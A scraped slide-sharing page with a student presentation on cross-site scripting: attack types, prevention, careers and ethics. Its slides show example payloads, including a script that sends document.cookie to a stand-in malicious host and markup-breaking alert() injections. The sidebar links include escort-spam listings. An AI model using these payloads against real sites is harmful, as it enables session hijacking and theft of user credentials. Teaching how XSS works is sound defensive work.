SlideShare a Scribd company logo
1 of 25
Cross-Site Scripting
(XSS)
Joni Hall and Daniel Tumser
Overview
Table of Contents
● Introduction
● Related Works
● Technical Aspects
● Types of XSS
o Reflected XSS
o Stored XSS
o DOM-Based XSS
o Prevention
● Careers and Jobs
● Social Impact
● Ethical Impact
● Future Expectations
● Conclusion
● References
Introduction
● Cross-Site Scripting (XSS) occurs when an attacker
uses a web application to gather data from a user
● Attackers inject JavaScript into an application to fool a
user to get data from them
● Every month roughly 10-25 XSS holes are found in
commercial products and advisories are published
explaining the threat.
Related Works
● 1995 - Netscape releases JavaScript
● 1999 - David Ross (Microsoft) publishes “Script
Injection” paper
● 2000 - Microsoft works with CERT
● 2005 - Samy Kamkar attacks MySpace
● 2006 - Cross-Site Scripting Malware popular
o port scanners, keyloggers, etc
● 2007 - XSS #1 on the Open Web Application Security
Project (OWASP) Top Ten list
● 2010 - XSS #2 on OWASP Top Ten list
● 2013 - XSS #3 on OWASP Top Ten list
Technical Aspects
● Leverages JavaScript to attack the user
o JS is a client-side processed scripting
language
● General aim of the attack is Session
Hijacking or Credentials Stealing
o ex. Steal user cookie & use web app
as them
● Can compromise the entire application
through users
Reflected XSS
● Most common form of XSS vulnerability (roughly 75% of cases)
● Vulnerability
o Improper filtering/sanitization of HTTP parameters or user input that
are processed by server-side scripts and reflected in the HTML the
client receives
● Exploit
o Crafted input by malicious user is added to a URL and sent to target
user
o http://www.something.com/thing.cgi?param=<script>document.location=“http://www.maliciousSite.com/?”
+document.cookie;</script>
● Problem
o Relies on target user having active session to hijack
Stored XSS
● Attack stored in application servers
● Vulnerability
o Improper user input sanitization in forms and user-created content instead of HTTP
request params
● Exploit
o Malicious script is injected into the page content viewed by other users
 ex. MySpace content (by Samy), Ebay sale listing (by Shubham Upadhyay)
 '"--></style></script><script>alert("XSSed by Cyb3R_Shubh4M")</script>
● Why it’s more dangerous
o Other users will already have an active session with the application in order for malicious
code to be processed on their browser
XSS Illustrated
DOM-Based XSS
● All client-side processing, no server processing
● Vulnerability
o Improper JS data handling.
● Exploit
o Leverages Document Object Model, pulling data with AJAX, and
client-side processing
● Example
o Next slide from Open Web Application Security Project (OWASP)
DOM-Based XSS Example
● Expected URL in HTTP request, parameter decides default language to
display
o http://www.some.site/page.html?default=French
● Malicious URL
o http://www.some.site/page.html?default=<script>alert(document.cookie)</script>
● Script in HTTP response from server
o document.write("<OPTION value=1>"+document.location.href.substring
(document.location.href.indexOf("default=")+8)+"</OPTION>");
o All processing references made to the Location object in the Document object for the web page in the
browser (document.location)
o Specifically to the value sent as the “default=” parameter
DOM-Based XSS Example Cont.
● Browser processes the script received by the server which
● injects the malicious URL parameter script into the DOM when rendering
the page, which
● executes the malicious script
Preventing XSS
● Recursive sanitization
o When processing a client HTTP request or user supplied data it must be sanitized
o Why recursive?
 Wrapping commonly sanitized characters or sub-strings
 ex. <scr<script>ipt> . . . </scr</script>ipt> becomes…
 <script> . . . </script>
● Properly handle Encoding/Decoding
o URL Encoding / Percent Encoding
 One method attackers used to bypass literal character filtering is to encode known
untrusted/dangerous characters (ex. %3C = ‘<’)
o HTML Encoding / Decoding
 Another method for bypassing these filters is to HTML encode those characters
injected into the document to be decoded back into scripts when the page is
rendered
Careers and Jobs
Job Growth Projection (2012-2022)
● Jobs in 2012 / 2022
o 141,400 /
169,900
● 10-year Growth
o +20% /
+28,500
Web Developer Pay (2012)
● Median wage (Web Devs.)
o $62,500
● vs Median wage (all occupations)
o x1.8
Web Developer
Careers and Jobs
Skills
● HTML
● JavaScript
● PHP
● C#
● jQuery
● CSS
Web Developer
● Java
● SQL
● Ruby on Rails
● .NET
● ASP.NET
● MySQL
Careers and Jobs
Skills
● Web Security and
Encryption
● Network Security
management
Penetration Tester
● Security Testing and
Auditing
● Computer Security
Careers and Jobs
Minimum Qualifications
● Bachelor's degree and 3 years of professional
work experience (or a master's degree)
Additional Qualifications
● Experience in
o developing web applications in Java,
Ruby or JavaScript
o OWASP or NIST 800-64
o application security assessment tools
o IT Security user groups or security
certification (CISSP, CEH, OSCP, etc.)
(MathWorks job listing)
Web Application Security Engineer
Careers and Jobs
Firefox Platform Engineer
Minimum Qualifications
● Experience
o writing code. College degree is not
necessary or sufficient.
o Expertise in any of C++, JavaScript, or
Python.
o Experience debugging or profiling.
Desired Skills
● C++; JavaScript; x86, x86_64, or ARM
● Experience with cryptographic signing and
verification.
● Experience with security threat models.
● and more
Platform/Browser Engineer & Security Engineer
Platform Security Engineer
Minimum Qualifications
● BS in Computer Science (or equivalent) plus 3-5
years industry experience
● Strong knowledge of C++ and JavaScript
● Strong privacy or security background
● Experience working in security or development
team
● Experience in contributing to large open source
projects is a plus
● Excellent verbal and written communication skills
Social Impact
● Link mistrust?
o Users still lax and ignorant
o Hackers/hacking still a very
opaque subject to most
● Train users?
o Organizations already do
o They get the training wrong
o Users are still making dumb
mistakes
 (ex. Only hover over a
link to check if the
domain matches)
Ethical Impact
Don’t do it(without permission)
It’s unethical and very illegal. Unless you like fines, 5-20 years in prison
(Title 18 U.S. Code § 1030(C)) and civil litigation.
Offensive/Malicious Perspective
Ethical Impact
● Developers have an ethical and sometimes legal responsibility to their
clients.
o XSS can result in the compromise of the entire application in addition
to client accounts
o Client compromise can disclose PII, and App compromise can mean
total data breach and network compromise
● Data breach disclosure is required by law in every state but New Mexico,
Alabama and South Dakota
o Very damaging for a company financially and to client trust
relationships
Defensive/Developer Perspective
Secure your code!
Future Expectations
● One estimate is that 94% of web applications are
vulnerable to XSS
o Every month roughly 10-25 XSS holes are found in
commercial products
● Jobs
o the bureau of labor statistics expects a 37%
increase for InfoSec professionals 2012-2022
● Prevention by consumer education is key!
Conclusion
● Almost all web applications are vulnerable to XSS
● XSS has been on OWASP’s Top Ten list for 8 years
● Repercussions to XSS?
o possible to probable jail-time and fines
● Preventing XSS?
o biggest burden lies in consumer/user education
● Jobs?
o expecting increase of 37% (2012-2022)
 all computer systems need security
References
1. Stuttard, Dafydd, and Marcus Pinto. The Web Application Hacker's Handbook Finding and Exploiting Security Flaws. 2nd ed. Indianapolis: Wiley,
2011. Print.
2. "The Cross-Site Scripting (XSS) FAQ." 'Web and Application Security News' Web. 17 June 2015. http://www.cgisecurity.com/xss-faq.html.
3. "XSS (Cross Site Scripting) Prevention Cheat Sheet." - OWASP. Web. 17 June 2015.
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet.
4. "A Short History of JavaScript." - Web Education Community Group. Web. 17 June 2015.
https://www.w3.org/community/webed/wiki/A_Short_History_of_JavaScript.
5. "History of Cross Site Scripting." Increased Visibility. Web. 17 June 2015. http://intellavis.com/blog/?p=284.
6. "Types of Cross-Site Scripting." - OWASP. Web. 17 June 2015. https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting.
7. "Securing Your Web Browser." Securing Your Web Browser. CERT. Web. 17 June 2015. https://www.us-cert.gov/publications/securing-your-web-
browser.
8. Saxena, Prateek. "Systematic Techniques for Finding and Preventing Script Injection Vulnerabilities." Electrical Engineering and Computer Sciences
University of California at Berkeley, 29 June 2012. Web. 17 June 2015. http://www.eecs.berkeley.edu/Pubs/TechRpts/2012/EECS-2012-170.pdf.
9. Klein, Amit. "Cross Site Scripting Explained." Sanctum Security Group, 1 June 2002. Web. 17 June 2015.
https://crypto.stanford.edu/cs155/papers/CSS.pdf.
10. "Web Application Security Engineer." - MathWorks Jobs. MathWorks. Web. 17 June 2015.
http://www.mathworks.com/company/jobs/opportunities/web-application-security-engineer-14497?source=10192.
11. "Web Application Security Engineer Salary." Web Application Security Engineer Salary. Indeed. Web. 17 June 2015.
http://www.indeed.com/salary?q1=Web Application Security Engineer&l1=.
12. "Web Application Developer Salary (United States)." Web Application Developer Salary (United States). PayScale. Web. 17 June 2015.
http://www.payscale.com/research/US/Job=Web_Application_Developer/Salary.
13. "Web Developers." U.S. Bureau of Labor Statistics. U.S. Bureau of Labor Statistics, 8 Jan. 2014. Web. 17 June
2015.http://www.bls.gov/ooh/computer-and-information-technology/web-developers.htm.
14. "Penetration Tester Salary (United States)." Penetration Tester Salary (United States). PayScale. Web. 17 June 2015.
http://www.payscale.com/research/US/Job=Penetration_Tester/Salary.
15. "18 U.S. Code § 1030 - Fraud and Related Activity in Connection with Computers." 18 U.S. Code § 1030. Cornell University. Web. 17 June 2015.
<https://www.law.cornell.edu/uscode/text/18/1030>.
Cross-Site Scripting
(XSS)
Joni Hall and Daniel Tumser

More Related Content

What's hot

Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Nabin Dutta
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharSandeep Kumbhar
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Manish Kumar
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request ForgeryTony Bibbs
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesSoftware Guru
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryDaniel Miessler
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Web application attacks
Web application attacksWeb application attacks
Web application attackshruth
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Brian Huff
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelinesZakaria SMAHI
 

What's hot (20)

Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
Xss ppt
Xss pptXss ppt
Xss ppt
 
SQL injection
SQL injectionSQL injection
SQL injection
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 
Cross site scripting XSS
Cross site scripting XSSCross site scripting XSS
Cross site scripting XSS
 
Introduction XSS
Introduction XSSIntroduction XSS
Introduction XSS
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request Forgery
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Web application attacks
Web application attacksWeb application attacks
Web application attacks
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 

Viewers also liked

Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Michael Hendrickx
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Ritesh Gupta
 
Dom based xss
Dom based xssDom based xss
Dom based xssLê Giáp
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingashutosh rai
 
Cross Site Scripting - Web Defacement Techniques
Cross Site Scripting - Web Defacement TechniquesCross Site Scripting - Web Defacement Techniques
Cross Site Scripting - Web Defacement TechniquesRonan Dunne, CEH, SSCP
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSIvan Ortega
 
What is xss, blind xss and xploiting google gadgets
What is xss, blind xss and xploiting google gadgetsWhat is xss, blind xss and xploiting google gadgets
What is xss, blind xss and xploiting google gadgetsZiv Ginsberg
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityAbdul Wahid
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingAbdul Hajee
 

Viewers also liked (15)

Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
XSS
XSSXSS
XSS
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Dom based xss
Dom based xssDom based xss
Dom based xss
 
Xss
XssXss
Xss
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
XSS Injection Vulnerabilities
XSS Injection VulnerabilitiesXSS Injection Vulnerabilities
XSS Injection Vulnerabilities
 
Content security policy
Content security policyContent security policy
Content security policy
 
Owasp Top 10
Owasp Top 10Owasp Top 10
Owasp Top 10
 
Cross Site Scripting - Web Defacement Techniques
Cross Site Scripting - Web Defacement TechniquesCross Site Scripting - Web Defacement Techniques
Cross Site Scripting - Web Defacement Techniques
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
 
What is xss, blind xss and xploiting google gadgets
What is xss, blind xss and xploiting google gadgetsWhat is xss, blind xss and xploiting google gadgets
What is xss, blind xss and xploiting google gadgets
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 

Similar to Cross-Site Scripting (XSS)

Application Security - Your Success Depends on it
Application Security - Your Success Depends on itApplication Security - Your Success Depends on it
Application Security - Your Success Depends on itWSO2
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET Journal
 
Threat Modeling and OWASP Top 10 (2017 rc1)
Threat Modeling and OWASP Top 10 (2017 rc1)Threat Modeling and OWASP Top 10 (2017 rc1)
Threat Modeling and OWASP Top 10 (2017 rc1)Mike Tetreault
 
OFFTECH TOOL AND END URL FINDER
OFFTECH TOOL AND END URL FINDEROFFTECH TOOL AND END URL FINDER
OFFTECH TOOL AND END URL FINDERIRJET Journal
 
Analysis of XSS attack Mitigation techniques based on Platforms and Browsers
Analysis of XSS attack Mitigation techniques based on Platforms and BrowsersAnalysis of XSS attack Mitigation techniques based on Platforms and Browsers
Analysis of XSS attack Mitigation techniques based on Platforms and Browserscscpconf
 
A security note for web developers
A security note for web developersA security note for web developers
A security note for web developersJohn Ombagi
 
Lecture #18 - #20: Web Browser and Web Application Security
Lecture #18 - #20: Web Browser and Web Application SecurityLecture #18 - #20: Web Browser and Web Application Security
Lecture #18 - #20: Web Browser and Web Application SecurityDr. Ramchandra Mangrulkar
 
Tracing out Cross Site Scripting Vulnerabilities in Modern Scripts
Tracing out Cross Site Scripting Vulnerabilities in Modern ScriptsTracing out Cross Site Scripting Vulnerabilities in Modern Scripts
Tracing out Cross Site Scripting Vulnerabilities in Modern ScriptsEswar Publications
 
Application security for the modern web - ISSA South Texas Houston DevOps
Application security for the modern web - ISSA South Texas Houston DevOpsApplication security for the modern web - ISSA South Texas Houston DevOps
Application security for the modern web - ISSA South Texas Houston DevOpsPhillip Maddux
 
19BCP072_Presentation_Final.pdf
19BCP072_Presentation_Final.pdf19BCP072_Presentation_Final.pdf
19BCP072_Presentation_Final.pdfKunjJoshi14
 
Web Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging ThreatsWeb Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging ThreatsAlan Kan
 
Get Ready for Web Application Security Testing
Get Ready for Web Application Security TestingGet Ready for Web Application Security Testing
Get Ready for Web Application Security TestingAlan Kan
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityColin English
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Jay Nagar
 
The Guide to Website Development for Beginners.pdf
The Guide to Website Development for Beginners.pdfThe Guide to Website Development for Beginners.pdf
The Guide to Website Development for Beginners.pdfConnect Solutions
 
OWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risksOWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risksKun-Da Wu
 

Similar to Cross-Site Scripting (XSS) (20)

Application Security - Your Success Depends on it
Application Security - Your Success Depends on itApplication Security - Your Success Depends on it
Application Security - Your Success Depends on it
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
 
Threat Modeling and OWASP Top 10 (2017 rc1)
Threat Modeling and OWASP Top 10 (2017 rc1)Threat Modeling and OWASP Top 10 (2017 rc1)
Threat Modeling and OWASP Top 10 (2017 rc1)
 
OFFTECH TOOL AND END URL FINDER
OFFTECH TOOL AND END URL FINDEROFFTECH TOOL AND END URL FINDER
OFFTECH TOOL AND END URL FINDER
 
Analysis of XSS attack Mitigation techniques based on Platforms and Browsers
Analysis of XSS attack Mitigation techniques based on Platforms and BrowsersAnalysis of XSS attack Mitigation techniques based on Platforms and Browsers
Analysis of XSS attack Mitigation techniques based on Platforms and Browsers
 
A security note for web developers
A security note for web developersA security note for web developers
A security note for web developers
 
Lecture #18 - #20: Web Browser and Web Application Security
Lecture #18 - #20: Web Browser and Web Application SecurityLecture #18 - #20: Web Browser and Web Application Security
Lecture #18 - #20: Web Browser and Web Application Security
 
Tracing out Cross Site Scripting Vulnerabilities in Modern Scripts
Tracing out Cross Site Scripting Vulnerabilities in Modern ScriptsTracing out Cross Site Scripting Vulnerabilities in Modern Scripts
Tracing out Cross Site Scripting Vulnerabilities in Modern Scripts
 
Application security for the modern web - ISSA South Texas Houston DevOps
Application security for the modern web - ISSA South Texas Houston DevOpsApplication security for the modern web - ISSA South Texas Houston DevOps
Application security for the modern web - ISSA South Texas Houston DevOps
 
C01461422
C01461422C01461422
C01461422
 
19BCP072_Presentation_Final.pdf
19BCP072_Presentation_Final.pdf19BCP072_Presentation_Final.pdf
19BCP072_Presentation_Final.pdf
 
Toronto mule meetup #5
Toronto mule meetup #5Toronto mule meetup #5
Toronto mule meetup #5
 
Top Application Security Threats
Top Application Security Threats Top Application Security Threats
Top Application Security Threats
 
Web Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging ThreatsWeb Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging Threats
 
Get Ready for Web Application Security Testing
Get Ready for Web Application Security TestingGet Ready for Web Application Security Testing
Get Ready for Web Application Security Testing
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
The Guide to Website Development for Beginners.pdf
The Guide to Website Development for Beginners.pdfThe Guide to Website Development for Beginners.pdf
The Guide to Website Development for Beginners.pdf
 
OWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risksOWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risks
 

Recently uploaded

Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...gurkirankumar98700
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Developing An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilDeveloping An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilV3cube
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 

Recently uploaded (20)

Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Developing An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilDeveloping An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of Brazil
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
